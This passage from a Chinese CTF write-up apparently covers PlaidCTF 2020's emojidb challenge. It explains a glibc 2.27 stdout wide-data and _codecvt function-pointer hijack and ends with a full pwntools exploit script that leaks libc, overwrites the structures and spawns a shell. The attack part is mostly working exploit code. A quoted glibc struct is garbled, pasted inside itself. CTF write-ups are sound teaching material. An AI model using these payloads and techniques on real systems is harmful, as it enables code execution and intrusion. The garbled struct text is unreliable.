发现在_IO_vfwprintf运行结束后,_IO_wide_data_2_IO_write_ptr已被恢复,并且可以发现,它的_IO_write_ptr指向的是_IO_wide_data_2末尾,也就是说,我们可以去尝试覆盖掉_IO_wide_data_1的值并劫持STDOUT结构体。

image-20200420235729281

查看偏移

image-20200421083257291

接下来继续运行五次,查看内存

image-20200421083703359

可以发现,的确是可以成功覆盖到_IO_wide_data_1的内容的,那么我们的最终利用思路就是篡改do_out函数指针,do_out函数在/glibc-2.27/source/libio/iofwide.c#L155中定义,我们仅需要看其函数原型即可:

static enum __codecvt_result do_out (struct _IO_codecvt *codecvt, __mbstate_t *statep,
    const wchar_t *from_start, const wchar_t *from_end,
    const wchar_t **from_stop, char *to_start, char *to_end,
    char **to_stop)

而我们最终的IO结构体如下,我们恰好可以劫持整个_codecvt结构体。

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

image-20200421091519722

通过偏移计算,我们需要构造如下输入

IO_wide_data = libc.address + 0x3eb9e8
info("IO_wide_data = " + hex(IO_wide_data))

payload = ''
for i in range(16):
    payload += char2wchar(p32(IO_wide_data % 0x100000000))
    payload += char2wchar(p32(IO_wide_data >> 32))

payload += char2wchar(b'/bin') + char2wchar(b'/sh\0')
payload += char2wchar(p32(libc.symbols['system'] % 0x100000000))
payload += char2wchar(p32(libc.symbols['system'] >> 32))

image-20200421093502733

成功get shell

Final Exploit

from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
opcode = {
        '0x1F4D6':"\xF0\x9F\x93\x96",#show
        '0x1F6A9':"\xF0\x9F\x9A\xA9",
        '0x1F193':"\xF0\x9F\x86\x93",#free
        '0x1F195':'\xF0\x9F\x86\x95',#new
}

emojidb=ELF('./emojidb', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./run.sh")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./run.sh")

def get_main_arena(self):
    """Find main_arena offset
    Returns:
        int: Offset to main_arena (returns None if it's not libc)
    """
    ofs_realloc_hook = self.symbols['__realloc_hook']
    ofs_malloc_hook = self.symbols['__malloc_hook']
    if ofs_realloc_hook is None or ofs_malloc_hook is None:
        log.error('main_arena works only for libc binaries')
        return None

    if context.arch == 'i386':
        return ofs_malloc_hook + 0x18
    else:
        return ofs_malloc_hook + (ofs_malloc_hook - ofs_realloc_hook) * 2

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def create(sh,chunk_size,value):
    sh.recvuntil("\xe2\x9d\x93")
    sh.send(opcode["0x1F195"])
    sh.sendafter("\xf0\x9f\x93\x8f\xe2\x9d",str(chunk_size))
    sh.recvuntil("\x93")
    sh.send(value)

def show(sh,index):
    sh.recvuntil("\xe2\x9d\x93")
    sh.send(opcode['0x1F4D6'])
    sh.sendlineafter("\xe2\x9d\x93",str(index+1))
    return sh.recvline()

def delete(sh,index):
    sh.recvuntil("\xe2\x9d\x93")
    sh.send(opcode["0x1F193"])
    sh.sendlineafter("\xe2\x9d\x93",str(index+1))
    sh.recvuntil("\x9f\x98\xb1")

def flags(sh):
    sh.recvuntil("\xe2\x9d\x93")
    sh.send(opcode["0x1F6A9"])

def wchar2char(wchar_data):
    convert = process(['./convert','1'])
    convert.send(wchar_data)
    char_data = convert.recvrepeat(0.3)
    convert.close()
    return char_data

def char2wchar(char_data):
    convert = process(['./convert','2'])
    convert.send(char_data)
    wchar_data = convert.recvrepeat(0.3).strip('\n').strip('\x00')
    convert.close()
    return wchar_data

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        create(sh,0x110,'Chunk__0'+'\n')
        create(sh,0x10,'Chunk__1'+'\n')
        delete(sh,0)
        libc.address = u64(wchar2char(show(sh,0)).ljust(8,'\x00')) - get_main_arena(libc) - 0x60
        if libc.address % 0x1000 != 0:
            error('The libc base address is wrong!')
        success('The libc base address is ' + hex(libc.address))
        create(sh,0x10,'Chunk__0'+'\n')
        create(sh,0x10,'Chunk__2'+'\n')
        create(sh,0x10,'Chunk__3'+'\n')
        create(sh,0x10,'Chunk__4'+'\n')

        IO_wide_data = libc.address + 0x3eb9e8
        info("IO_wide_data = " + hex(IO_wide_data))

        payload = ''
        for i in range(16):
            payload += char2wchar(p32(IO_wide_data % 0x100000000))
            payload += char2wchar(p32(IO_wide_data >> 32))

        payload += char2wchar(b'/bin') + char2wchar(b'/sh\0')
        payload += char2wchar(p32(libc.symbols['system'] % 0x100000000))
        payload += char2wchar(p32(libc.symbols['system'] >> 32))
        sh.sendlineafter(b"\xe2\x9d\x93", payload)
        flag=get_flag(sh)
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x03 [2020 PlaidCTF] golf.so – 500pt

题目类型:Misc

本题WordPress无法正常显示!请查看安全客原文~

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注